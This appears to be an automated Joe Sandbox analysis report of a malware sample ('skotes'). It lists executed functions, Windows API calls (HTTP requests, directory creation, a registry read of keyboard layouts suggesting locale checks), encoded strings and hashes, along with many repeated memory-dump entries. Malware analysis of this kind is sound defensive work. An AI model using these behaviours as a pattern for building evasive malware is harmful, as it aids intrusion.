Total number of Nodes:	836
Total number of Limit Nodes:	74

Executed Functions

Function 0069E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L1o, xrefs: 0069F7E5
9c9aa5, xrefs: 0069FB8E
MGE+, xrefs: 0069E821
GnNoc2Hc, xrefs: 0069E56C
#, xrefs: 006A0624
246122658369, xrefs: 0069F737, 0069FA14, 006A05E7, 006A099A
WTw=, xrefs: 006A097D
WTs=, xrefs: 006A05CA
MQ==, xrefs: 0069E592
111, xrefs: 0069F7A0
UA==, xrefs: 0069EB0F, 0069ED56
WDw=, xrefs: 0069F71D, 0069F9FA

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1o$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3493852988
Opcode ID: 5de71fa141f2d22b4582a52e76c9cafb4f5cd1a07f51539a28650b610dc12836
Instruction ID: f2eb2d1ce58c40435d34ba365b95fb1218825b013e38acfb3ad99e49a9b3a070
Opcode Fuzzy Hash: 5de71fa141f2d22b4582a52e76c9cafb4f5cd1a07f51539a28650b610dc12836
Instruction Fuzzy Hash: 8B82A270A04288DBEF14EF68C9497DE7BB6AB06304F50858CE805677C2D7759A88CFD6

Function 006D2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006E6758), ref: 006D275C

Strings

Eastern Summer Time, xrefs: 006D27FA
Xgn, xrefs: 006D2705, 006D270B
Eastern Standard Time, xrefs: 006D27CB

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgn
API String ID: 565725191-2117068305
Opcode ID: 32d5370754baeb773f2a60fedc45b719db730379c93cbe50bf037856100f53ef
Instruction ID: 008536a796ef66b831a4716370ce73273f88031a516a81ff48e14be50da88745
Opcode Fuzzy Hash: 32d5370754baeb773f2a60fedc45b719db730379c93cbe50bf037856100f53ef
Instruction Fuzzy Hash: 6EC10271E002469BDB209F68DC61AFA7BABEF65310F14409FE98197391E731CE46CB54

Function 0069EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0069EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0069ED98

Strings

L1o, xrefs: 0069F7E5
mxo1L0x, xrefs: 0069EE84
FCQgKF==, xrefs: 0069FEE4
stoi argument out of range, xrefs: 006A08C4
invalid stoi argument, xrefs: 006A08B0
#, xrefs: 006A0624
246122658369, xrefs: 0069F737, 0069FA14, 0069FE00, 006A05E7
WTs=, xrefs: 006A05CA
GiQaT29tduF=, xrefs: 0069FEB6
WDw=, xrefs: 0069F71D, 0069F9FA, 0069FDE3
9c9aa5, xrefs: 0069FB8E
FisgLnsCZO1i, xrefs: 0069FF19
111, xrefs: 0069F7A0
UA==, xrefs: 0069EC41, 0069ED56, 0069EF89, 0069F2CE

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1o$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2755506197
Opcode ID: 1f1dc1b9f8383fb26274178b89b770260d0afd8897ccfe229ea23aca97a30c5f
Instruction ID: d1882923a164cd639664a39d52a7bf8e9ffcaccf6fc0ec143576b7f042b52e21
Opcode Fuzzy Hash: 1f1dc1b9f8383fb26274178b89b770260d0afd8897ccfe229ea23aca97a30c5f
Instruction Fuzzy Hash: 42F23971A001489BEF18EB38CD8979DBB77AF82304F14819CE409A77D6DB359E848F95

Function 0069BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,440B685B,?,00000000), ref: 0069BEB8
InternetOpenW.WININET(006E8DC8,00000000,00000000,00000000,00000000), ref: 0069BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0069BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0069BF36
HttpSendRequestA.WININET(?,00000000), ref: 0069BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0069C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0069C161
InternetCloseHandle.WININET(?), ref: 0069C187
InternetCloseHandle.WININET(?), ref: 0069C18F
InternetCloseHandle.WININET(?), ref: 0069C197

Strings

8HJUeIfzLo==, xrefs: 0069C3CB, 0069C623
stoi argument out of range, xrefs: 0069E4EA
invalid stoi argument, xrefs: 0069E4F4
8HJUeMD Lq5=, xrefs: 0069C465
RE1NXF==, xrefs: 0069BF0E

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: d404ea9c636f7c605c54a1dc86278e3f6ef94298add13a8f1a2eaa21f2708f2c
Instruction ID: b5cb5983320d8a9066c189b6edfd12524145e77465a747fbdb251df8f8fe6b3f
Opcode Fuzzy Hash: d404ea9c636f7c605c54a1dc86278e3f6ef94298add13a8f1a2eaa21f2708f2c
Instruction Fuzzy Hash: A2B1D2B1A001189BDF28DF28CC84BAEBB6AEF45314F50419DF509976C2DB719AC4CF99

Function 00696020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0069617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00696271

Strings

0000043f, xrefs: 0069612B
00000422, xrefs: 006960C9
00000423, xrefs: 006960FA
00000419, xrefs: 00696098
Keyboard Layout\Preload, xrefs: 00696054

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
